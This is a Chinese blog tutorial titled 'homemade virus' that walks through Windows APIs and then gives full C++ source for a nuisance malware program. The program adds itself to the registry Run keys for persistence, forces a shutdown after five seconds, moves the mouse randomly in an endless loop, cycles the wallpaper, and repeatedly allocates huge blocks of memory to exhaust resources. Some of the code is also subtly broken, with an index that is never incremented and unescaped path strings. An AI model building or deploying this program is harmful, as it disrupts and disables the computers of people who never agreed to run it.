zoukankan      html  css  js  c++  java
  • 自制病毒——控制桌面鼠标以及开关机

    自制病毒——控制桌面背景鼠标以及开关机

    目录

    一 理论知识

    1.1 修改桌面背景方法

    在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo

    该函数也可以在设置参数中更新用户配置文件,这个函数还有很多其它功能,比如获取桌面工作区的大小。

    BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);

    uiAction:该参数指定要查询或设置的系统级参数。其取值如下;

    SPI_GETACCESSTIMEOUT:检索与可访问特性相关联的超时段的信息,PvParam参数必须指向某个ACCESSTIMEOUT结构以获得信息,并将该结构中的cbSjze成员和ulParam参数的值设为sizeof(ACCESSTIMEOUT)。
    
    SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以后的版本。它表示是否打开活动窗口跟踪(激活该窗口时鼠标置为开状态),pvParam参数必须指向一个BOOL型变量(打开时接收值为TRUE,关闭时为FALSE)。
    
    SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以后版本。它表示通过活动窗口跟踪开关激活的窗口是否要置于最顶层。pvParam参数必须指向一个BOOL型变量,如果要置于顶层,那么该变量的值为TRUE,否则为FALSE。
    
    SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以后版本。它指示活动窗口跟踪延迟量,单位为毫秒。pvParam参数必须指向DWORD类型变量,以接收时间量。
    
    SPI_GETANIMATION:检索与用户活动有关的动画效果。pvParam参数必须指向ANIMATIOINFO结构以接收信息。并将该结构的cbSize成员和ulParam参数置为sizeof(ANIMATIONINFO)。
    
    SPI_GETBEEP:表示警告蜂鸣器是否是打开的。pvParam参数必须指向一个BOOL类型变量,如果蜂鸣器处于打开状态,那么该变量的值为TRUE,否则为FALSE。
    
    SpI_GETBORDER:检索决定窗口边界放大宽度的边界放大因子。pvParam参数必须指向一个整型变量以接收该值。
    
    SPI_GETDEFAULTINPUTLANG:返回用于系统缺省输入语言的键盘布局句柄。pvParam参数必须指向一个32位变量,以接收该值。
    
    SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以后版本。它表示用于组合柜的动打开效果是否允许。pvParam参数必须指向一个BOOL变量,如果允许,那么变量返回值为TRUE,否则为FALSE。
    
    SPI_GETDRAGFULLWINDOWS:确定是否允许拖拉到最大窗口。pvParam参数必须指向BOOL变量,如果允许,返回值为TRUE,否则为FALSE。对于Windows 95系统,该标志只有在安装了Windows plus!才支持。
    
    SPI_GETFASTTASKSWITCH:该标志已不用!以前版本的系统使用该标志来确定是否允许Alt+Tab快速任务切换。对于Windows 95、Windows 98和Windows NT 4.0版而言,快速任务切换通常是允许的。
    

    更多

    uiParam:uiParam 在参数说明中所有为ulParam均为错误。

    这个参数值设为true即可。
    

    pvParam:与查询或设置的系统参数有关。关于系统级参数的详情,请参考uiAction参数。否则在没有指明情况下,必须将该参数指定为NULL。

    在修改背景图片时为图片信息,PVOID类型。
    

    fWinlni:如果设置系统参数,则它用来指定是否更新用户配置文件(Profile)。亦或是否要将WM_SETTINGCHANGE消息广播给所有顶层窗口,以通知它们新的变化内容。该参数可以是0或下列取值之一:

    SPIF_UPDATEINIFILE:把新的系统参数的设置内容写入用户配置文件。
    
    SPIF_SENDCHANGE:在更新用户配置文件之后广播WM_SETTINGCHANGE消息。
    
    SPI_SENDWININICHANGE与 SPIF_SENDCHANGE一样。
    

    返回值

    如果函数调用成功,返回值非零:如果函数调用失败,那么返回值为零。
    

    1.2 控制鼠标方法

    控制鼠标坐标的方法同样也时调用一个API,GetCursorPos和SetCursorPos

    GetCursorPos用于获取鼠标句柄

    #include<stdio.h>
    #include<windows.h>
    int main()
    {
        POINT p;
        GetCursorPos(&p);
        
        return0;
    }
    

    SetCursorPos用于移动鼠标

    在使用GetCursorPos获取鼠标句柄之后,可以调用SetCursorPos移动鼠标,它的两个参数分别是x轴和y轴。

    函数原型:BOOL SetCursorPos(int X,int Y);
    参数:
    X:指定光标的新的X坐标,以屏幕坐标表示。
    Y:指定光标的新的Y坐标,以屏幕坐标表示。
    返回值:如果成功,返回非零值;如果失败,返回值是零,若想获得更多错误信息,请调用GetLastError函数。
    备注:该光标是共享资源,仅当该光标在一个窗口的客户区域内时它才能移动该光标。
    

    1.3 开机自启动方法

    注册表

    开机自启动的实现方法就是通过注册表实现,在注册表中有固定的开机自启程序设置位置

    HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun;
    
    HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunonce;
    
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun;
    
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce;
    
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
    

    在这几项中有我们电脑中的开机自启动程序信息,

    s

    例如这个WeChat就是开机时的微信登录程序。

    注册表读写方法

    RegCreateKey

    // 打开注册表
    LONG WINAPI RegCreateKey(
    _In_ HKEY hKey,
    _In_opt_ LPCTSTR lpSubKey,
    _Out_ PHKEY phkResult
    );
    

    hKey
    指向当前打开表项的句柄,或者是下列预定义保留句柄值之一,实际上就是注册表中的几个分支。

    lpSubKey
    指向一个空终止的字符串指针,指示这个函数将打开或创建的表项的名称。这个表项必须是由hKey参数所标识的项的子项

    phkResult
    这是一个返回值,指向一个变量的指针,用来接受创建或打开的表项的句柄。当不再需要此返回的注册表项句柄时,调用RegCloseKey函数关闭这个句柄。

    RegSetValueEx

    // 读写注册表
    LONG RegSetValueEx(
        HKEY hKey,
        LPCTSTR lpValueName,
        DWORD Reserved,
        DWORD dwType,
        CONST BYTE *lpData,
        DWORD cbData
    );
    

    hKey
    一个已打开项的句柄,或指定一个标准项名

    lpValueName
    指向一个字符串的指针,该字符串包含了欲设置值的名称。若拥有该值名称的值并不存在于指定的注册表项中,则此函数将其加入到该项。如果此值是NULL,或指向空字符串,则此函数为该项的默认值或未命名值设置类型和数据。

    Reserved
    保留值,必须强制为0

    dwType
    指定将被存储的数据类型,该参数可以为

    REG_BINARY 任何形式的二进制数据
    REG_DWORD 一个32位的数字
    REG_DWORD_LITTLE_ENDIAN 一个“低字节在前”格式的32位数字
    REG_DWORD_BIG_ENDIAN 一个“高字节在前”格式的32位数字
    REG_EXPAND_SZ 一个以0结尾的字符串,该字符串包含对环境变量(如“%PAHT”)的未扩展引用
    REG_LINK 一个Unicode格式的带符号链接
    REG_MULTI_SZ 一个以0结尾的字符串数组,该数组以连接两个0为终止符
    REG_NONE 未定义值类型
    REG_RESOURCE_LIST 一个设备驱动器资源列表
    REG_SZ 一个以0结尾的字符串
    

    lpData
    指向一个缓冲区,该缓冲区包含了欲为指定值名称存储的数据。

    cbData
    指定由lpData参数所指向的数据的大小,单位是字节。

    1.4 关机方法

    Windows 系统自带一个名为Shutdown.exe的程序,可以用于关机操作(位置在WindowsSystem32下),一般情况下Windows系统的关机都可以通过调用程序 shutdown.exe来实现的,同时该程序也可以用于终止正在计划中的关机操作。

    shutdown-a 取消关机
    shutdown -s 关机
    shutdown -f 强行关闭应用程序
    shutdown -m \计算机名 控制远程计算机
    shutdown -i 显示“远程关机”图形用户界面,但必须是Shutdown的第一个参数  
    shutdown -l 注销当前用户
    shutdown -r 关机并重启
    shutdown -s -t 时间 设置关机倒计时
    shutdown -h 休眠
    

    二 实现

    2.1 修改桌面背景代码

    图片信息使用了一个PVOID数组,并通过一个for循环不断切换桌面背景。

    #include<stdio.h>
    #include<windows.h>
    #include<iostream>
    #include <tchar.h>
    #include<cstdlib>
    #include<ctime>
    using namespace std ;
    
    int main(){
       PVOID s[10] = {
            (PVOID)"D:\windows\system32\bin\background.jpg" ,
            (PVOID)"D:\windows\system32\bin\background1.jpg" ,
             ...
            (PVOID)"D:\windows\system32\bin\background6.jpg" ,
            (PVOID)"D:\windows\system32\bin\background7.jpg" ,
            (PVOID)"D:\windows\system32\bin\background8.jpg" ,
            (PVOID)"D:\windows\system32\bin\background9.jpg"
            };
        SystemParametersInfo(20, true,s, 1) ;
        for(int i=0;i<10;i++){
            SystemParametersInfo(20, true,s[i], 1) ;
            Sleep(1000);//控制时间间隔
        }
    
        return 0 ;  
    }
    

    2.2 控制鼠标代码

    利用随机数和while死循环达到鼠标不受控制疯狂随机移动的功能。

    #include<stdio.h>
    #include<windows.h>
    #include<iostream>
    #include <tchar.h>
    #include<cstdlib>
    #include<ctime>
    using namespace std ;
    
    int main(){
        POINT sb;
        srand((unsigned)time(NULL));
        GetCursorPos (&sb);//获取鼠标坐标
        while(1){
            SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标
            Sleep(1);//控制移动时间间隔
        }
        return 0 ;
    }
    

    2.3 开机自启动代码

    ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:windowssetup.exe"),21);

    第二个参数是项名称,第五个参数是要开机启动程序的路径位置,最后一个参数是第五个参数路径字符长度。

    #include<stdio.h>
    #include<windows.h>
    #include<iostream>
    #include <tchar.h>
    #include<cstdlib>
    #include<ctime>
    using namespace std ;
    
    int main(){
        HKEY hkey ;//计算机HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
    	TCHAR p[64] ;
        long ret;
        ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\Microsoft\Windows\CurrentVersion\Run"),&hkey);
        if(ret==ERROR_SUCCESS){
            ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);  // 主
            if(ret==ERROR_SUCCESS){
                // 写入成功
            }else {
                // 写入失败
                cout << "Write filed !" ;
            }
        }else {
            // 注册表打开失败
            cout << "Read error !" << endl ;
        }    
        return 0 ;
    }
    

    2.4 关机代码

    这个功能实现比较简单。

    #include<stdio.h>
    #include<windows.h>
    
    int main(){
        // 五秒关机
        system("shutdown -s -t 5");
    
        return 0 ;
    }
    

    三 代码

    3.1 注册程序,将病毒主体加入开机自启动

    #include<stdio.h>
    #include<windows.h>
    #include<iostream>
    #include <tchar.h>
    #include<cstdlib>
    #include<ctime>
    using namespace std ;
    
    int main(){
        HKEY hkey ;//计算机HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
    	TCHAR p[64] ;
        long ret;
        ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\Microsoft\Windows\CurrentVersion\Run"),&hkey);
        if(ret==ERROR_SUCCESS){
            ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);  // 主
            ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\windows\system32\bin\begin.exe"),35); // 主要动作
            ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\windows\system32\conf\find.exe"),35);//监控实时变化
            if(ret==ERROR_SUCCESS){
                // 写入成功
            }else {
                // 写入失败
                cout << "Write filed !" ;
            }
        }else {
            cout << "Read error !" << endl ;
        }
    
        return 0 ;
    }
    

    3.2 病毒主体,在上方代码实现开机自启动之后,这段代码可以不断修改壁纸,控制鼠标以及关机。

    #include<stdio.h>
    #include<windows.h>
    #include<iostream>
    #include <tchar.h>
    #include<cstdlib>
    #include<ctime>
    using namespace std ;
    
    int main(){
    
        POINT sb;
        PVOID s[10] = {
            (PVOID)"D:\windows\system32\bin\background.jpg" ,
            (PVOID)"D:\windows\system32\bin\background1.jpg" ,
            (PVOID)"D:\windows\system32\bin\background2.jpg" ,
            (PVOID)"D:\windows\system32\bin\background3.jpg" ,
            (PVOID)"D:\windows\system32\bin\background4.jpg" ,
            (PVOID)"D:\windows\system32\bin\background5.jpg" ,
            (PVOID)"D:\windows\system32\bin\background6.jpg" ,
            (PVOID)"D:\windows\system32\bin\background7.jpg" ,
            (PVOID)"D:\windows\system32\bin\background8.jpg" ,
            (PVOID)"D:\windows\system32\bin\background9.jpg"
            };
        srand((unsigned)time(NULL));
        system("shutdown -s -t 5");
        SystemParametersInfo(20, true,s, 1) ;
        GetCursorPos (&sb);//获取鼠标坐标
        int i = 0 ;
        while(1){
            int *p = (int*)malloc(10000000000) ;
            printf("a");
            SystemParametersInfo(20, true,s[i], 1) ;
            if(i>=9){
                i = 0 ;
            }
            SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标
            Sleep(1);//控制移动时间间隔
        }
    
        return 0 ;
    }
    

    四 参考

    Github地址 : Github

  • 相关阅读:
    分享一下前一段时间的开发总结
    循环,梦
    从C#程序中调用非受管DLLs
    大学生零工资就业,谁之过?
    国外宽带用户的上网速度能达到多少呢?
    天沉沉,来个好天气吧
    虚伪,不只是形容一个人
    回头思考关于xml的使用
    从毕业生当中看人与人的差距
    C# 编码规则
  • 原文地址:https://www.cnblogs.com/LexMoon/p/Virus.html
Copyright © 2011-2022 走看看